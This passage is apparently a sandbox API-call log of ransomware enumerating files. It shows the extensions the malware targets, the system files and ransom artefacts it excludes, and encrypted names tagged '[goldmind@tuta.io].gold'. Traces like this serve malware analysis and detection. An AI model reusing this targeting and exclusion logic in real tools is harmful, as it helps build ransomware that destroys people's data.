lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0087.178] lstrlenW (lpString=".csv") returned 4 [0087.178] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0087.178] lstrlenW (lpString=".cub") returned 4 [0087.178] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0087.178] lstrlenW (lpString=".dae") returned 4 [0087.178] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0087.178] lstrlenW (lpString=".dat") returned 4 [0087.178] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0087.178] lstrlenW (lpString=".db") returned 3 [0087.178] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0087.178] lstrlenW (lpString=".dbf") returned 4 [0087.178] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0087.178] lstrlenW (lpString=".dbx") returned 4 [0087.178] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0087.178] lstrlenW (lpString=".dc3") returned 4 [0087.178] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".dcm") returned 4 [0087.179] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".dcr") returned 4 [0087.179] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".der") returned 4 [0087.179] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".dib") returned 4 [0087.179] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".dic") returned 4 [0087.179] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".dif") returned 4 [0087.179] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".divx") returned 5 [0087.179] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0087.179] lstrlenW (lpString=".djvu") returned 5 [0087.179] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0087.179] lstrlenW (lpString=".dng") returned 4 [0087.179] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".doc") returned 4 [0087.179] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".docm") returned 5 [0087.179] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0087.179] lstrlenW (lpString=".docx") returned 5 [0087.179] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0087.179] lstrlenW (lpString=".dot") returned 4 [0087.179] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".dotm") returned 5 [0087.179] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0087.179] lstrlenW (lpString=".dotx") returned 5 [0087.179] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0087.179] lstrlenW (lpString=".dpx") returned 4 [0087.179] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".dqy") returned 4 [0087.179] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".dsn") returned 4 [0087.179] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".dt") returned 3 [0087.179] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0087.179] lstrlenW (lpString=".dtd") returned 4 [0087.179] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".dwg") returned 4 [0087.179] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".dwt") returned 4 [0087.179] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".dx") returned 3 [0087.179] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0087.179] lstrlenW (lpString=".dxf") returned 4 [0087.179] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0087.179] lstrlenW (lpString=".edml") returned 5 [0087.180] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0087.180] lstrlenW (lpString=".efd") returned 4 [0087.180] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".elf") returned 4 [0087.180] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".emf") returned 4 [0087.180] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".emz") returned 4 [0087.180] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".epf") returned 4 [0087.180] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".eps") returned 4 [0087.180] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".epsf") returned 5 [0087.180] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0087.180] lstrlenW (lpString=".epsp") returned 5 [0087.180] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0087.180] lstrlenW (lpString=".erf") returned 4 [0087.180] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".exr") returned 4 [0087.180] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".f4v") returned 4 [0087.180] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".fido") returned 5 [0087.180] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0087.180] lstrlenW (lpString=".flm") returned 4 [0087.180] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".flv") returned 4 [0087.180] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".frm") returned 4 [0087.180] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".fxg") returned 4 [0087.180] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".geo") returned 4 [0087.180] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".gif") returned 4 [0087.180] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".grs") returned 4 [0087.180] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0087.180] lstrlenW (lpString=".gz") returned 3 [0087.180] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0087.180] lstrlenW (lpString=".h") returned 2 [0087.180] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0087.180] lstrlenW (lpString=".hdr") returned 4 [0087.181] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0087.181] lstrlenW (lpString=".hpp") returned 4 [0087.181] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0087.181] lstrlenW (lpString=".hta") returned 4 [0087.181] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0087.181] lstrlenW (lpString=".htc") returned 4 [0087.181] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0087.181] lstrlenW (lpString=".htm") returned 4 [0087.181] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0087.181] lstrlenW (lpString=".html") returned 5 [0087.181] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0087.181] lstrlenW (lpString=".icb") returned 4 [0087.181] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0087.181] lstrlenW (lpString=".ics") returned 4 [0087.181] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0087.181] lstrlenW (lpString=".iff") returned 4 [0087.181] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0087.181] lstrlenW (lpString=".inc") returned 4 [0087.181] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0087.181] lstrlenW (lpString=".indd") returned 5 [0087.181] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0087.181] lstrlenW (lpString=".ini") returned 4 [0087.181] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0087.181] lstrlenW (lpString="desktop.ini") returned 11 [0087.181] lstrlenW (lpString=".gold") returned 5 [0087.181] lstrcmpiW (lpString1=".gold", lpString2="p.ini") returned -1 [0087.181] lstrlenW (lpString="desktop.ini") returned 11 [0087.181] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0087.181] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0087.181] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0087.181] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0087.181] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0087.181] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0087.181] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0087.181] lstrcmpiW (lpString1="payload.exe", lpString2="desktop.ini") returned 1 [0087.181] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0087.181] FindNextFileW (in: hFindFile=0x5e0808, lpFindFileData=0x365f808 | out: lpFindFileData=0x365f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4092780, ftCreationTime.dwHighDateTime=0x1d681e0, ftLastAccessTime.dwLowDateTime=0xc4092780, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xc40b88e0, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[goldmind@tuta.io].gold", cAlternateFileName="DESKTO~1.GOL")) returned 1 [0087.181] lstrlenW (lpString="desktop.ini.id-9C354B42.[goldmind@tuta.io].gold") returned 47 [0087.181] lstrlenW (lpString=".1cd") returned 4 [0087.181] lstrcmpiW (lpString1=".1cd", lpString2="gold") returned -1 [0087.181] lstrlenW (lpString=".3ds") returned 4 [0087.181] lstrcmpiW (lpString1=".3ds", lpString2="gold") returned -1 [0087.181] lstrlenW (lpString=".3fr") returned 4 [0087.181] lstrcmpiW (lpString1=".3fr", lpString2="gold") returned -1 [0087.181] lstrlenW (lpString=".3g2") returned 4 [0087.181] lstrcmpiW (lpString1=".3g2", lpString2="gold") returned -1 [0087.181] lstrlenW (lpString=".3gp") returned 4 [0087.181] lstrcmpiW (lpString1=".3gp", lpString2="gold") returned -1 [0087.181] lstrlenW (lpString=".7z") returned 3 [0087.181] lstrcmpiW (lpString1=".7z", lpString2="old") returned -1 [0087.182] lstrlenW (lpString=".accda") returned 6 [0087.182] lstrcmpiW (lpString1=".accda", lpString2="].gold") returned -1 [0087.182] lstrlenW (lpString=".accdb") returned 6 [0087.182] lstrcmpiW (lpString1=".accdb", lpString2="].gold") returned -1 [0087.182] lstrlenW (lpString=".accdc") returned 6 [0087.182] lstrcmpiW (lpString1=".accdc", lpString2="].gold") returned -1 [0087.182] lstrlenW (lpString=".accde") returned 6 [0087.182] lstrcmpiW (lpString1=".accde", lpString2="].gold") returned -1 [0087.182] lstrlenW (lpString=".accdt") returned 6 [0087.182] lstrcmpiW (lpString1=".accdt", lpString2="].gold") returned -1 [0087.182] lstrlenW (lpString=".accdw") returned 6 [0087.182] lstrcmpiW (lpString1=".accdw", lpString2="].gold") returned -1 [0087.182] lstrlenW (lpString=".adb") returned 4 [0087.182] lstrcmpiW (lpString1=".adb", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".adp") returned 4 [0087.182] lstrcmpiW (lpString1=".adp", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".ai") returned 3 [0087.182] lstrcmpiW (lpString1=".ai", lpString2="old") returned -1 [0087.182] lstrlenW (lpString=".ai3") returned 4 [0087.182] lstrcmpiW (lpString1=".ai3", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".ai4") returned 4 [0087.182] lstrcmpiW (lpString1=".ai4", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".ai5") returned 4 [0087.182] lstrcmpiW (lpString1=".ai5", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".ai6") returned 4 [0087.182] lstrcmpiW (lpString1=".ai6", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".ai7") returned 4 [0087.182] lstrcmpiW (lpString1=".ai7", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".ai8") returned 4 [0087.182] lstrcmpiW (lpString1=".ai8", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".anim") returned 5 [0087.182] lstrcmpiW (lpString1=".anim", lpString2=".gold") returned -1 [0087.182] lstrlenW (lpString=".arw") returned 4 [0087.182] lstrcmpiW (lpString1=".arw", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".as") returned 3 [0087.182] lstrcmpiW (lpString1=".as", lpString2="old") returned -1 [0087.182] lstrlenW (lpString=".asa") returned 4 [0087.182] lstrcmpiW (lpString1=".asa", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".asc") returned 4 [0087.182] lstrcmpiW (lpString1=".asc", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".ascx") returned 5 [0087.182] lstrcmpiW (lpString1=".ascx", lpString2=".gold") returned -1 [0087.182] lstrlenW (lpString=".asm") returned 4 [0087.182] lstrcmpiW (lpString1=".asm", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".asmx") returned 5 [0087.182] lstrcmpiW (lpString1=".asmx", lpString2=".gold") returned -1 [0087.182] lstrlenW (lpString=".asp") returned 4 [0087.182] lstrcmpiW (lpString1=".asp", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".aspx") returned 5 [0087.182] lstrcmpiW (lpString1=".aspx", lpString2=".gold") returned -1 [0087.182] lstrlenW (lpString=".asr") returned 4 [0087.182] lstrcmpiW (lpString1=".asr", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".asx") returned 4 [0087.182] lstrcmpiW (lpString1=".asx", lpString2="gold") returned -1 [0087.182] lstrlenW (lpString=".avi") returned 4 [0087.182] lstrcmpiW (lpString1=".avi", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".avs") returned 4 [0087.183] lstrcmpiW (lpString1=".avs", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".backup") returned 7 [0087.183] lstrcmpiW (lpString1=".backup", lpString2="o].gold") returned -1 [0087.183] lstrlenW (lpString=".bak") returned 4 [0087.183] lstrcmpiW (lpString1=".bak", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".bay") returned 4 [0087.183] lstrcmpiW (lpString1=".bay", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".bd") returned 3 [0087.183] lstrcmpiW (lpString1=".bd", lpString2="old") returned -1 [0087.183] lstrlenW (lpString=".bin") returned 4 [0087.183] lstrcmpiW (lpString1=".bin", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".bmp") returned 4 [0087.183] lstrcmpiW (lpString1=".bmp", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".bz2") returned 4 [0087.183] lstrcmpiW (lpString1=".bz2", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".c") returned 2 [0087.183] lstrcmpiW (lpString1=".c", lpString2="ld") returned -1 [0087.183] lstrlenW (lpString=".cdr") returned 4 [0087.183] lstrcmpiW (lpString1=".cdr", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".cer") returned 4 [0087.183] lstrcmpiW (lpString1=".cer", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".cf") returned 3 [0087.183] lstrcmpiW (lpString1=".cf", lpString2="old") returned -1 [0087.183] lstrlenW (lpString=".cfc") returned 4 [0087.183] lstrcmpiW (lpString1=".cfc", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".cfm") returned 4 [0087.183] lstrcmpiW (lpString1=".cfm", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".cfml") returned 5 [0087.183] lstrcmpiW (lpString1=".cfml", lpString2=".gold") returned -1 [0087.183] lstrlenW (lpString=".cfu") returned 4 [0087.183] lstrcmpiW (lpString1=".cfu", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".chm") returned 4 [0087.183] lstrcmpiW (lpString1=".chm", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".cin") returned 4 [0087.183] lstrcmpiW (lpString1=".cin", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".class") returned 6 [0087.183] lstrcmpiW (lpString1=".class", lpString2="].gold") returned -1 [0087.183] lstrlenW (lpString=".clx") returned 4 [0087.183] lstrcmpiW (lpString1=".clx", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".config") returned 7 [0087.183] lstrcmpiW (lpString1=".config", lpString2="o].gold") returned -1 [0087.183] lstrlenW (lpString=".cpp") returned 4 [0087.183] lstrcmpiW (lpString1=".cpp", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".cr2") returned 4 [0087.183] lstrcmpiW (lpString1=".cr2", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".crt") returned 4 [0087.183] lstrcmpiW (lpString1=".crt", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".crw") returned 4 [0087.183] lstrcmpiW (lpString1=".crw", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".cs") returned 3 [0087.183] lstrcmpiW (lpString1=".cs", lpString2="old") returned -1 [0087.183] lstrlenW (lpString=".css") returned 4 [0087.183] lstrcmpiW (lpString1=".css", lpString2="gold") returned -1 [0087.183] lstrlenW (lpString=".csv") returned 4 [0087.183] lstrcmpiW (lpString1=".csv", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".cub") returned 4 [0087.184] lstrcmpiW (lpString1=".cub", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".dae") returned 4 [0087.184] lstrcmpiW (lpString1=".dae", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".dat") returned 4 [0087.184] lstrcmpiW (lpString1=".dat", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".db") returned 3 [0087.184] lstrcmpiW (lpString1=".db", lpString2="old") returned -1 [0087.184] lstrlenW (lpString=".dbf") returned 4 [0087.184] lstrcmpiW (lpString1=".dbf", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".dbx") returned 4 [0087.184] lstrcmpiW (lpString1=".dbx", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".dc3") returned 4 [0087.184] lstrcmpiW (lpString1=".dc3", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".dcm") returned 4 [0087.184] lstrcmpiW (lpString1=".dcm", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".dcr") returned 4 [0087.184] lstrcmpiW (lpString1=".dcr", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".der") returned 4 [0087.184] lstrcmpiW (lpString1=".der", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".dib") returned 4 [0087.184] lstrcmpiW (lpString1=".dib", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".dic") returned 4 [0087.184] lstrcmpiW (lpString1=".dic", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".dif") returned 4 [0087.184] lstrcmpiW (lpString1=".dif", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".divx") returned 5 [0087.184] lstrcmpiW (lpString1=".divx", lpString2=".gold") returned -1 [0087.184] lstrlenW (lpString=".djvu") returned 5 [0087.184] lstrcmpiW (lpString1=".djvu", lpString2=".gold") returned -1 [0087.184] lstrlenW (lpString=".dng") returned 4 [0087.184] lstrcmpiW (lpString1=".dng", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".doc") returned 4 [0087.184] lstrcmpiW (lpString1=".doc", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".docm") returned 5 [0087.184] lstrcmpiW (lpString1=".docm", lpString2=".gold") returned -1 [0087.184] lstrlenW (lpString=".docx") returned 5 [0087.184] lstrcmpiW (lpString1=".docx", lpString2=".gold") returned -1 [0087.184] lstrlenW (lpString=".dot") returned 4 [0087.184] lstrcmpiW (lpString1=".dot", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".dotm") returned 5 [0087.184] lstrcmpiW (lpString1=".dotm", lpString2=".gold") returned -1 [0087.184] lstrlenW (lpString=".dotx") returned 5 [0087.184] lstrcmpiW (lpString1=".dotx", lpString2=".gold") returned -1 [0087.184] lstrlenW (lpString=".dpx") returned 4 [0087.184] lstrcmpiW (lpString1=".dpx", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".dqy") returned 4 [0087.184] lstrcmpiW (lpString1=".dqy", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".dsn") returned 4 [0087.184] lstrcmpiW (lpString1=".dsn", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".dt") returned 3 [0087.184] lstrcmpiW (lpString1=".dt", lpString2="old") returned -1 [0087.184] lstrlenW (lpString=".dtd") returned 4 [0087.184] lstrcmpiW (lpString1=".dtd", lpString2="gold") returned -1 [0087.184] lstrlenW (lpString=".dwg") returned 4 [0087.184] lstrcmpiW (lpString1=".dwg", lpString2="gold") returned -1 [0087.185] lstrlenW (lpString=".dwt") returned 4 [0087.185] lstrcmpiW (lpString1=".dwt", lpString2="gold") returned -1 [0087.185] lstrlenW (lpString=".dx") returned 3 [0087.185] lstrcmpiW (lpString1=".dx", lpString2="old") returned -1 [0087.185] lstrlenW (lpString=".dxf") returned 4 [0087.185] lstrcmpiW (lpString1=".dxf", lpString2="gold") returned -1 [0087.185] lstrlenW (lpString=".edml") returned 5 [0087.185] lstrcmpiW (lpString1=".edml", lpString2=".gold") returned -1 [0087.185] lstrlenW (lpString=".efd") returned 4 [0087.185] lstrcmpiW (lpString1=".efd", lpString2="gold") returned -1 [0087.185] lstrlenW (lpString=".elf") returned 4 [0087.185] lstrcmpiW (lpString1=".elf", lpString2="gold") returned -1 [0087.185] lstrlenW (lpString=".emf") returned 4 [0087.185] lstrcmpiW (lpString1=".emf", lpString2="gold") returned -1 [0087.185] lstrlenW (lpString=".emz") returned 4 [0087.185] lstrcmpiW (lpString1=".emz", lpString2="gold") returned -1 [0087.185] lstrlenW (lpString=".epf") returned 4 [0087.185] lstrcmpiW (lpString1=".epf", lpString2="gold") returned -1 [0087.185] lstrlenW (lpString=".eps") returned 4 [0087.185] lstrcmpiW (lpString1=".eps", lpString2="gold") returned -1 [0087.185] lstrlenW (lpString=".epsf") returned 5 [0087.185] lstrcmpiW (lpString1=".epsf", lpString2=".gold") returned -1 [0087.185] lstrlenW (lpString=".epsp") returned 5 [0087.185] lstrcmpiW (lpString1=".epsp", lpString2=".gold") returned -1 [0087.185] lstrlenW (lpString=".erf") returned 4 [0087.185] lstrcmpiW (lpString1=".erf", lpString2="gold") returned -1 [0087.185] lstrlenW (lpString=".exr") returned 4 [0087.185] lstrcmpiW (lpString1=".exr", lpString2="gold") returned -1 [0087.185] lstrlenW (lpString=".f4v") returned 4 [0087.185] lstrcmpiW (lpString1=".f4v", lpString2="gold") returned -1 [0087.185] lstrlenW (lpString=".fido") returned 5 [0087.185] lstrcmpiW (lpString1=".fido", lpString2=".gold") returned -1 [0087.186] lstrlenW (lpString=".flm") returned 4 [0087.186] lstrcmpiW (lpString1=".flm", lpString2="gold") returned -1 [0087.186] lstrlenW (lpString=".flv") returned 4 [0087.186] lstrcmpiW (lpString1=".flv", lpString2="gold") returned -1 [0087.186] lstrlenW (lpString=".frm") returned 4 [0087.186] lstrcmpiW (lpString1=".frm", lpString2="gold") returned -1 [0087.187] FindNextFileW (in: hFindFile=0x5e07c8, lpFindFileData=0x365fa84 | out: lpFindFileData=0x365fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xc40b88e0, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xc40b88e0, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.187] FindNextFileW (in: hFindFile=0x5e07c8, lpFindFileData=0x365fa84 | out: lpFindFileData=0x365fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xd6dd5070, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xd6dd5070, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0088.433] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x365f310 | out: lpFindFileData=0x365f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.433] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x365f310 | out: lpFindFileData=0x365f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0089.033] FindClose (in: hFindFile=0x562b30 | out: hFindFile=0x562b30) returned 1 [0089.034] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4104fd8 | out: hHeap=0x4f0000) returned 1 [0089.034] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x365f310 | out: lpFindFileData=0x365f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0089.034] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x4010048, Size=0x4000) returned 0x4010048 [0089.034] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x365f310 | out: lpFindFileData=0x365f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0089.035] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x365f094 | out: lpFindFileData=0x365f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7ff, dwReserved1=0x2000, cFileName=".", cAlternateFileName="")) returned 0x562b30 [0089.135] FindNextFileW (in: hFindFile=0x562b30, lpFindFileData=0x365f094 | out: lpFindFileData=0x365f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7ff, dwReserved1=0x2000, cFileName="..", cAlternateFileName="")) returned 1 [0089.135] FindNextFileW (in: hFindFile=0x562b30, lpFindFileData=0x365f094 | out: 